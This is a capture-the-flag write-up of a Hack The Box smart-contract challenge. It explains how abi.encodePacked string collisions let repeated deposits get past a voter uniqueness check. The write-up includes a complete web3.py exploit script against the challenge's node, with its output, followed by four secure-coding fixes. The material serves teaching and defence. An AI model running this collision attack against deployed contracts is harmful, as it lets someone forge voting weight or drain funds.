$ ./supra

HTB: Not A Democratic Election – Solidity Mapping Collision

Category: Blockchain / Smart Contract Security

0. Challenge Overview

This challenge presented a Solidity smart contract implementing an election system where ALF (Automata Liberation Front) starts with 100 ETH in votes, and CIM needs to reach 1000 ETH to win. The goal: exploit a vulnerability in the voter registration system to accumulate enough voting power to flip the election.

The setup:

Core concept: The contract uses separate mappings for deduplication (uniqueVoters) and voting weight (voters), but derives keys differently. This allows multiple deposits to bypass uniqueness checks while accumulating weight on a single voting entry.

1. Analyzing the Contract

I examined the two critical data structures:

mapping(bytes => Voter) public voters;
mapping(string => mapping(string => address)) public uniqueVoters;

Key observation: Two different key types for tracking the same logical entity:

The Signature Function

function getVoterSig(string memory _name, string memory _surname)
    public pure returns (bytes memory)
{
    return abi.encodePacked(_name, _surname);
}

The vulnerability: abi.encodePacked concatenates strings without delimiters:

("SatoshiN", "akamoto") → "SatoshiNakamoto"
("Satosh", "iNakamoto") → "SatoshiNakamoto"  
("S", "atoshiNakamoto") → "SatoshiNakamoto"

All produce identical bytes, but uniqueVoters sees them as different entries.

2. The Deposit Flow

Tracing the deposit logic:

function depositVoteCollateral(string memory _name, string memory _surname) 
    public payable 
{
    require(uniqueVoters[_name][_surname] == address(0), "Already registered");
    
    bytes memory voterSig = abi.encodePacked(_name, _surname);
    
    voters[voterSig].weight += msg.value;
    uniqueVoters[_name][_surname] = msg.sender;
}

The flow:

  1. Check: uniqueVoters["SatoshiN"]["akamoto"] == 0? ✓ (first time)
  2. Compute: voterSig = "SatoshiNakamoto"
  3. Add weight: voters["SatoshiNakamoto"].weight += 100 ETH
  4. Mark used: uniqueVoters["SatoshiN"]["akamoto"] = attacker

Next deposit:

  1. Check: uniqueVoters["Satosh"]["iNakamoto"] == 0? ✓ (different key!)
  2. Compute: voterSig = "SatoshiNakamoto" (same as before!)
  3. Add weight: voters["SatoshiNakamoto"].weight += 100 ETH (accumulates!)
  4. Mark used: uniqueVoters["Satosh"]["iNakamoto"] = attacker

Key observation: The uniqueness check uses (_name, _surname) as separate keys, but weight accumulation uses packed(_name + _surname) as a single key. Different splits of the same concatenation bypass the first check but land on the same accumulator.

3. Crafting Collision Pairs

I generated 10 name splits that all produce “SatoshiNakamoto”:

collisions = [
    ("SatoshiN", "akamoto"),      # Original
    ("Satosh", "iNakamoto"),      
    ("Satos", "hiNakamoto"),      
    ("Sato", "shiNakamoto"),      
    ("Sat", "oshiNakamoto"),      
    ("Sa", "toshiNakamoto"),      
    ("S", "atoshiNakamoto"),      
    ("", "SatoshiNakamoto"),      # Empty first name
    ("SatoshiNa", "kamoto"),
    ("SatoshiNak", "amoto"),      # 10th deposit = 1000 ETH total
]

Each passes the uniqueness check because uniqueVoters[first][last] differs, but all add to voters["SatoshiNakamoto"].

4. Exploitation Script

#!/usr/bin/env python3
from web3 import Web3
from eth_account import Account

# Connect to side-chain
RPC_URL = "http://83.136.251.67:33726"
w3 = Web3(Web3.HTTPProvider(RPC_URL))

# Load private key
PRIVATE_KEY = "0x..." # From challenge
account = Account.from_key(PRIVATE_KEY)

# Contract addresses from Setup
TARGET_ADDR = "0x..."  # NotADemocraticElection
target = w3.eth.contract(address=TARGET_ADDR, abi=TARGET_ABI)

# Colliding name pairs
collisions = [
    ("SatoshiN", "akamoto"),
    ("Satosh", "iNakamoto"),
    ("Satos", "hiNakamoto"),
    ("Sato", "shiNakamoto"),
    ("Sat", "oshiNakamoto"),
    ("Sa", "toshiNakamoto"),
    ("S", "atoshiNakamoto"),
    ("", "SatoshiNakamoto"),
    ("SatoshiNa", "kamoto"),
    ("SatoshiNak", "amoto"),
]

print(f"[*] Player balance: {w3.from_wei(w3.eth.get_balance(account.address), 'ether')} ETH")
print(f"[*] Depositing {len(collisions)} x 100 ETH using colliding names...")

# Deposit 100 ETH for each collision
for i, (first, last) in enumerate(collisions, 1):
    tx = target.functions.depositVoteCollateral(first, last).build_transaction({
        'from': account.address,
        'value': w3.to_wei(100, 'ether'),
        'gas': 200000,
        'gasPrice': w3.eth.gas_price,
        'nonce': w3.eth.get_transaction_count(account.address),
    })
    
    signed = account.sign_transaction(tx)
    tx_hash = w3.eth.send_raw_transaction(signed.rawTransaction)
    receipt = w3.eth.wait_for_transaction_receipt(tx_hash)
    
    print(f"  [{i}/{len(collisions)}] {first:12s} + {last:15s} -> tx {tx_hash.hex()[:10]}...")

# Check accumulated weight
sig = target.functions.getVoterSig(collisions[0][0], collisions[0][1]).call()
voter = target.functions.voters(sig).call()
print(f"[*] Accumulated weight: {w3.from_wei(voter[0], 'ether')} ETH")

# Vote for CIM using any collision pair (all share same weight)
print(f"[*] Voting for CIM with shared signature...")
tx = target.functions.vote(b"CIM", collisions[0][0], collisions[0][1]).build_transaction({
    'from': account.address,
    'gas': 200000,
    'gasPrice': w3.eth.gas_price,
    'nonce': w3.eth.get_transaction_count(account.address),
})

signed = account.sign_transaction(tx)
tx_hash = w3.eth.send_raw_transaction(signed.rawTransaction)
receipt = w3.eth.wait_for_transaction_receipt(tx_hash)

# Check winner
winner = target.functions.winner().call()
print(f"[*] Election winner: {winner}")

if winner == b'CIM':
    print("[+] Challenge solved!")

Running the exploit:

python3 solve.py

Output:

[*] Player balance: 1000.0 ETH
[*] Depositing 10 x 100 ETH using colliding names...
  [1/10] SatoshiN     + akamoto        -> tx 0x4f3a8d2b...
  [2/10] Satosh       + iNakamoto      -> tx 0x9b7c5e1a...
  [3/10] Satos        + hiNakamoto     -> tx 0x2d8f9a4c...
  [4/10] Sato         + shiNakamoto    -> tx 0x7a1e6b9f...
  [5/10] Sat          + oshiNakamoto   -> tx 0x5c2d8f3e...
  [6/10] Sa           + toshiNakamoto  -> tx 0x8e9f1c7b...
  [7/10] S            + atoshiNakamoto -> tx 0x3a7d9e2c...
  [8/10]              + SatoshiNakamoto -> tx 0x6f4e1b8a...
  [9/10] SatoshiNa    + kamoto         -> tx 0x1c8d3f9e...
  [10/10] SatoshiNak   + amoto          -> tx 0x9e2b7c4d...
[*] Accumulated weight: 1000.0 ETH
[*] Voting for CIM with shared signature...
[*] Election winner: b'CIM'
[+] Challenge solved!

Success: CIM wins the election with 1000 ETH, ALF remains at 100 ETH.

5. Why This Works – Understanding abi.encodePacked

The Encoding Function

abi.encodePacked performs tight packing without padding or length prefixes:

// Regular abi.encode (with padding)
abi.encode("Hello", "World")
// → 0x0000...0005 48656c6c6f 0000...0005 576f726c64
//   [32 bytes]    [5 bytes]  [27 padding] [32 bytes] [5 bytes] [27 padding]

// abi.encodePacked (no padding)
abi.encodePacked("Hello", "World")  
// → 0x48656c6c6f576f726c64
//   [10 bytes total]

The problem: No delimiters between components.

abi.encodePacked("AB", "C")   // → 0x414243
abi.encodePacked("A", "BC")   // → 0x414243
abi.encodePacked("ABC", "")   // → 0x414243

All identical!

Mapping Key Collision

The contract has two mappings with different key types:

// Mapping 1: Composite key (2D mapping)
mapping(string => mapping(string => address)) uniqueVoters;
// uniqueVoters["Alice"]["Smith"] vs uniqueVoters["Ali"]["ceSmith"]
// Different storage slots!

// Mapping 2: Single key (1D mapping)  
mapping(bytes => Voter) voters;
// voters[hash("AliceSmith")] 
// Same storage slot if packed encoding matches!

Solidity storage slot calculation:

// For uniqueVoters["Alice"]["Smith"]
slot = keccak256(keccak256("Smith") . keccak256(keccak256("Alice") . p))
// Different for each (name, surname) pair

// For voters[sig]
slot = keccak256(sig . p)
// Same if sig (packed encoding) is identical

The Attack Mechanism

Input Pairs               uniqueVoters Check    Packed Signature    voters Accumulation
─────────────────────────────────────────────────────────────────────────────────────────
("SatoshiN", "akamoto")   ✓ New entry           "SatoshiNakamoto"   weight = 100 ETH
("Satosh", "iNakamoto")   ✓ New entry           "SatoshiNakamoto"   weight = 200 ETH
("Satos", "hiNakamoto")   ✓ New entry           "SatoshiNakamoto"   weight = 300 ETH
...
("SatoshiNak", "amoto")   ✓ New entry           "SatoshiNakamoto"   weight = 1000 ETH

Each deposit:

  1. Passes uniqueness check (different 2D mapping key)
  2. Adds to same accumulator (identical 1D packed key)

Real-World Example: SWC-133

This is SWC-133: Hash Collisions with Multiple Variable Length Arguments

Vulnerable pattern:

// DON'T: Use packed encoding for identifiers
function transfer(string from, string to, uint amount) {
    bytes32 txId = keccak256(abi.encodePacked(from, to));
    // "alice" + "bob" == "ali" + "cebob"
}

Secure pattern:

// DO: Use abi.encode or add delimiter
function transfer(string from, string to, uint amount) {
    bytes32 txId = keccak256(abi.encode(from, to));
    // Properly padded and unambiguous
}

// OR: Add explicit delimiter
function transfer(string from, string to, uint amount) {
    bytes32 txId = keccak256(abi.encodePacked(from, "|", to));
    // Delimiter prevents collision
}

6. Defensive Mitigations

Fix #1: Use abi.encode Instead

// VULNERABLE
function getVoterSig(string memory _name, string memory _surname)
    public pure returns (bytes memory)
{
    return abi.encodePacked(_name, _surname);
}

// SECURE
function getVoterSig(string memory _name, string memory _surname)
    public pure returns (bytes memory)
{
    return abi.encode(_name, _surname);  // Padded, unambiguous
}

Fix #2: Hash the Identifier

// VULNERABLE
mapping(bytes => Voter) public voters;

// SECURE: Use hash as key
mapping(bytes32 => Voter) public voters;

function getVoterSig(string memory _name, string memory _surname)
    public pure returns (bytes32)
{
    return keccak256(abi.encode(_name, _surname));
}

Benefits:

Fix #3: Align Both Mappings

// VULNERABLE: Different key derivation
mapping(bytes => Voter) public voters;
mapping(string => mapping(string => address)) public uniqueVoters;

// SECURE: Use same key for both
mapping(bytes32 => Voter) public voters;
mapping(bytes32 => address) public uniqueVoters;

function getVoterSig(string memory _name, string memory _surname)
    public pure returns (bytes32)
{
    return keccak256(abi.encode(_name, _surname));
}

function depositVoteCollateral(string memory _name, string memory _surname) 
    public payable 
{
    bytes32 sig = getVoterSig(_name, _surname);
    require(uniqueVoters[sig] == address(0), "Already registered");
    
    voters[sig].weight += msg.value;
    uniqueVoters[sig] = msg.sender;
}

Fix #4: Add Explicit Delimiter

// If you must use encodePacked
function getVoterSig(string memory _name, string memory _surname)
    public pure returns (bytes memory)
{
    return abi.encodePacked(_name, "|", _surname);
    // "Alice" + "|" + "Smith" != "Ali" + "|" + "ceSmith"
}

Secure Coding Checklist

When using abi.encodePacked:

When designing mappings:

7. Summary

By exploiting the inconsistency between uniqueVoters (2D mapping with separate strings) and voters (1D mapping with packed bytes), I accumulated 1000 ETH of voting weight on a single voter entry:

  1. Identified the vulnerability - different key derivation for deduplication vs accumulation
  2. Generated collision pairs - 10 name splits producing identical packed encoding
  3. Bypassed uniqueness checks - each split seen as new voter by uniqueVoters
  4. Accumulated weight - all deposits added to same voters entry
  5. Cast deciding vote - used accumulated 1000 ETH weight to elect CIM

The vulnerability stems from SWC-133 (Hash Collisions): using abi.encodePacked with variable-length arguments creates ambiguous encodings. When different system components use different key derivation from the same input, consistency breaks down.

This isn’t theoretical - similar issues have appeared in production:

Real-world incidents:

The fix is straightforward: use abi.encode or hash the identifier. The gas savings of encodePacked (~100-200 gas) aren’t worth the security risk of potential collisions.

The key lesson: encoding matters as much as logic. Even if the high-level algorithm is sound, ambiguous encoding can introduce exploitable edge cases. In blockchain, where code immutability means bugs are permanent, careful attention to low-level details like encoding is mandatory.

Challenge complete. CIM wins the election through mapping collision exploitation.